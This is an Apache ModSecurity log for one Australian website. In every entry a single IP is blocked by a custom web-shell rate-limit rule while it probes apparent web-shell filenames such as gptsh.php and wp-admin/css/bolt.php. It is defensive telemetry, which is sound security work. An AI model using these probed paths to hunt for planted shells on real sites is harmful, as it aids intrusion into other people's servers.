[Sun Mar 29 23:24:44.312717 2026] [:error] [pid 8818:tid 8829] [client 68.155.145.150:12203] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aclEPCCDvotZNSF0FBr0EAAAAUc"]
[Sun Mar 29 23:24:44.732159 2026] [:error] [pid 32257:tid 32320] [client 68.155.145.150:12101] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ajax.php"] [unique_id "aclEPCE3TArOFrUtgWppUwAAAII"]
[Sun Mar 29 23:24:45.127761 2026] [:error] [pid 23167:tid 23182] [client 68.155.145.150:12015] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ajax.php"] [unique_id "aclEPRIAHJCFaHff3_fXUgAAAcw"]
[Sun Mar 29 23:24:45.528758 2026] [:error] [pid 23168:tid 23198] [client 68.155.145.150:11970] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ajax.php"] [unique_id "aclEPWP8p0yRL8ot_2-8CwAAAgE"]
[Sun Mar 29 23:24:45.950276 2026] [:error] [pid 23168:tid 23209] [client 68.155.145.150:12031] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ajax.php"] [unique_id "aclEPWP8p0yRL8ot_2-8DgAAAgw"]
[Sun Mar 29 23:24:46.345444 2026] [:error] [pid 23284:tid 23298] [client 68.155.145.150:12086] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "aclEPozBujdPHsq7wyTlfAAAAow"]
[Sun Mar 29 23:24:46.745871 2026] [:error] [pid 32255:tid 32295] [client 68.155.145.150:12177] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "aclEPmnfn-AtRoMbquwXSAAAAEQ"]
[Sun Mar 29 23:24:47.129977 2026] [:error] [pid 32257:tid 32333] [client 68.155.145.150:11952] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "aclEPyE3TArOFrUtgWppVgAAAI8"]
[Sun Mar 29 23:24:47.547422 2026] [:error] [pid 23284:tid 23302] [client 68.155.145.150:12039] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "aclEP4zBujdPHsq7wyTlgwAAApA"]
[Sun Mar 29 23:24:47.957748 2026] [:error] [pid 32254:tid 32286] [client 68.155.145.150:12270] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aclEP6ug2IHuyGgCTn9mDgAAABY"]
[Sun Mar 29 23:24:48.373812 2026] [:error] [pid 32359:tid 32372] [client 68.155.145.150:12233] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aclEQAMb8G3UzfQP3Wg7QAAAAMs"]
[Sun Mar 29 23:24:48.837627 2026] [:error] [pid 23137:tid 23158] [client 68.155.145.150:12137] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aclEQBaWQa7LdZ_qGFYJ8AAAAZM"]
[Sun Mar 29 23:24:49.262736 2026] [:error] [pid 23137:tid 23143] [client 68.155.145.150:11919] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aclEQRaWQa7LdZ_qGFYJ8QAAAYQ"]
[Sun Mar 29 23:24:49.676200 2026] [:error] [pid 23284:tid 23300] [client 68.155.145.150:12277] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aclEQYzBujdPHsq7wyTliAAAAo4"]
[Sun Mar 29 23:24:50.069783 2026] [:error] [pid 23137:tid 23160] [client 68.155.145.150:12278] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aclEQhaWQa7LdZ_qGFYJ8gAAAZU"]
[Sun Mar 29 23:24:50.500745 2026] [:error] [pid 32255:tid 32304] [client 68.155.145.150:12274] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aclEQmnfn-AtRoMbquwXSgAAAE0"]
[Sun Mar 29 23:24:50.935115 2026] [:error] [pid 23167:tid 23181] [client 68.155.145.150:12272] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aclEQhIAHJCFaHff3_fXVwAAAcs"]
[Sun Mar 29 23:24:51.328546 2026] [:error] [pid 23284:tid 23289] [client 68.155.145.150:12058] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ah25.php"] [unique_id "aclEQ4zBujdPHsq7wyTljgAAAoM"]
[Sun Mar 29 23:24:51.718061 2026] [:error] [pid 32254:tid 32269] [client 68.155.145.150:12250] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ah25.php"] [unique_id "aclEQ6ug2IHuyGgCTn9mFAAAAAU"]
[Sun Mar 29 23:24:52.141463 2026] [:error] [pid 23284:tid 23287] [client 68.155.145.150:11999] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ah25.php"] [unique_id "aclERIzBujdPHsq7wyTlkAAAAoE"]
[Sun Mar 29 23:24:52.532988 2026] [:error] [pid 32359:tid 32376] [client 68.155.145.150:12012] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ah25.php"] [unique_id "aclERAMb8G3UzfQP3Wg7QgAAAM8"]
[Sun Mar 29 23:24:52.919881 2026] [:error] [pid 23137:tid 23161] [client 68.155.145.150:12043] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws60.php"] [unique_id "aclERBaWQa7LdZ_qGFYJ9gAAAZY"]
[Sun Mar 29 23:24:53.313610 2026] [:error] [pid 23137:tid 23144] [client 68.155.145.150:12268] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws60.php"] [unique_id "aclERRaWQa7LdZ_qGFYJ-AAAAYU"]
[Sun Mar 29 23:24:53.704861 2026] [:error] [pid 23168:tid 23216] [client 68.155.145.150:12170] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws60.php"] [unique_id "aclERWP8p0yRL8ot_2-8FgAAAhM"]
[Sun Mar 29 23:24:54.094747 2026] [:error] [pid 23137:tid 23139] [client 68.155.145.150:11956] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws60.php"] [unique_id "aclERhaWQa7LdZ_qGFYJ-QAAAYA"]
[Sun Mar 29 23:24:54.505975 2026] [:error] [pid 32255:tid 32301] [client 68.155.145.150:12112] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "aclERmnfn-AtRoMbquwXUwAAAEo"]
[Sun Mar 29 23:24:54.919107 2026] [:error] [pid 23137:tid 23151] [client 68.155.145.150:12054] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "aclERhaWQa7LdZ_qGFYJ-wAAAYw"]
[Sun Mar 29 23:24:55.307965 2026] [:error] [pid 23250:tid 23256] [client 68.155.145.150:11996] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "aclER5xrpj-dQjy1cvoV0AAAAkQ"]
[Sun Mar 29 23:24:55.700885 2026] [:error] [pid 32255:tid 32314] [client 68.155.145.150:12019] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "aclER2nfn-AtRoMbquwXVAAAAFc"]
[Sun Mar 29 23:24:56.092462 2026] [:error] [pid 32257:tid 32337] [client 68.155.145.150:12174] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/buc.php"] [unique_id "aclESCE3TArOFrUtgWppXAAAAJM"]
[Sun Mar 29 23:24:56.485135 2026] [:error] [pid 23137:tid 23150] [client 68.155.145.150:12238] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/buc.php"] [unique_id "aclESBaWQa7LdZ_qGFYJ_gAAAYs"]
[Sun Mar 29 23:24:56.871126 2026] [:error] [pid 8818:tid 8823] [client 68.155.145.150:12000] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/buc.php"] [unique_id "aclESCCDvotZNSF0FBr0HAAAAUE"]
[Sun Mar 29 23:24:57.263249 2026] [:error] [pid 32254:tid 32276] [client 68.155.145.150:12089] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/buc.php"] [unique_id "aclESaug2IHuyGgCTn9mJQAAAAw"]
[Sun Mar 29 23:24:57.648713 2026] [:error] [pid 23284:tid 23295] [client 68.155.145.150:11980] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myfile.php"] [unique_id "aclESYzBujdPHsq7wyTlmwAAAok"]
[Sun Mar 29 23:24:58.035280 2026] [:error] [pid 23284:tid 23292] [client 68.155.145.150:12053] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myfile.php"] [unique_id "aclESozBujdPHsq7wyTlngAAAoY"]
[Sun Mar 29 23:24:58.431572 2026] [:error] [pid 32254:tid 32285] [client 68.155.145.150:12011] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myfile.php"] [unique_id "aclESqug2IHuyGgCTn9mJwAAABU"]
[Sun Mar 29 23:24:58.820602 2026] [:error] [pid 23250:tid 23253] [client 68.155.145.150:12285] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myfile.php"] [unique_id "aclESpxrpj-dQjy1cvoV0wAAAkE"]
[Sun Mar 29 23:24:59.203175 2026] [:error] [pid 23284:tid 23289] [client 68.155.145.150:11905] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aclES4zBujdPHsq7wyTlogAAAoM"]
[Sun Mar 29 23:24:59.613934 2026] [:error] [pid 32255:tid 32315] [client 68.155.145.150:12020] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aclES2nfn-AtRoMbquwXXgAAAFg"]
[Sun Mar 29 23:25:00.023933 2026] [:error] [pid 23284:tid 23302] [client 68.155.145.150:11910] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aclETIzBujdPHsq7wyTlpwAAApA"]
[Sun Mar 29 23:25:00.422128 2026] [:error] [pid 32359:tid 32379] [client 68.155.145.150:12179] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aclETAMb8G3UzfQP3Wg7RwAAANI"]
[Sun Mar 29 23:25:00.818344 2026] [:error] [pid 23137:tid 23148] [client 68.155.145.150:12255] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/okxh.php"] [unique_id "aclETBaWQa7LdZ_qGFYKAQAAAYk"]
[Sun Mar 29 23:25:01.207681 2026] [:error] [pid 32255:tid 32306] [client 68.155.145.150:12017] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/okxh.php"] [unique_id "aclETWnfn-AtRoMbquwXZAAAAE8"]
[Sun Mar 29 23:25:01.612476 2026] [:error] [pid 32255:tid 32292] [client 68.155.145.150:12008] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/okxh.php"] [unique_id "aclETWnfn-AtRoMbquwXZwAAAEE"]
[Sun Mar 29 23:25:02.009975 2026] [:error] [pid 32255:tid 32311] [client 68.155.145.150:12073] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/okxh.php"] [unique_id "aclETmnfn-AtRoMbquwXawAAAFQ"]
[Sun Mar 29 23:25:02.435550 2026] [:error] [pid 32255:tid 32305] [client 68.155.145.150:12051] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "aclETmnfn-AtRoMbquwXcgAAAE4"]
[Sun Mar 29 23:25:02.841907 2026] [:error] [pid 32257:tid 32341] [client 68.155.145.150:12224] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "aclETiE3TArOFrUtgWppcgAAAJc"]
[Sun Mar 29 23:25:03.248749 2026] [:error] [pid 23168:tid 23208] [client 68.155.145.150:12284] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "aclET2P8p0yRL8ot_2-8JgAAAgs"]
[Sun Mar 29 23:25:03.706916 2026] [:error] [pid 8818:tid 8842] [client 68.155.145.150:12171] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "aclETyCDvotZNSF0FBr0HwAAAVQ"]
[Sun Mar 29 23:25:04.108422 2026] [:error] [pid 32257:tid 32320] [client 68.155.145.150:12088] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-104.php"] [unique_id "aclEUCE3TArOFrUtgWppdwAAAII"]
[Sun Mar 29 23:25:04.539349 2026] [:error] [pid 32257:tid 32338] [client 68.155.145.150:12035] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-104.php"] [unique_id "aclEUCE3TArOFrUtgWppewAAAJQ"]
[Sun Mar 29 23:25:04.946811 2026] [:error] [pid 32257:tid 32332] [client 68.155.145.150:11972] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-104.php"] [unique_id "aclEUCE3TArOFrUtgWppggAAAI4"]
[Sun Mar 29 23:25:05.403025 2026] [:error] [pid 32257:tid 32329] [client 68.155.145.150:12085] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-104.php"] [unique_id "aclEUSE3TArOFrUtgWpphgAAAIs"]
[Sun Mar 29 23:25:05.865101 2026] [:error] [pid 23167:tid 23174] [client 68.155.145.150:12196] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws86.php"] [unique_id "aclEURIAHJCFaHff3_fXXgAAAcQ"]
[Sun Mar 29 23:25:06.320418 2026] [:error] [pid 23167:tid 23189] [client 68.155.145.150:12165] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws86.php"] [unique_id "aclEUhIAHJCFaHff3_fXYgAAAdM"]
[Sun Mar 29 23:25:06.713422 2026] [:error] [pid 23167:tid 23185] [client 68.155.145.150:12025] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws86.php"] [unique_id "aclEUhIAHJCFaHff3_fXaQAAAc8"]
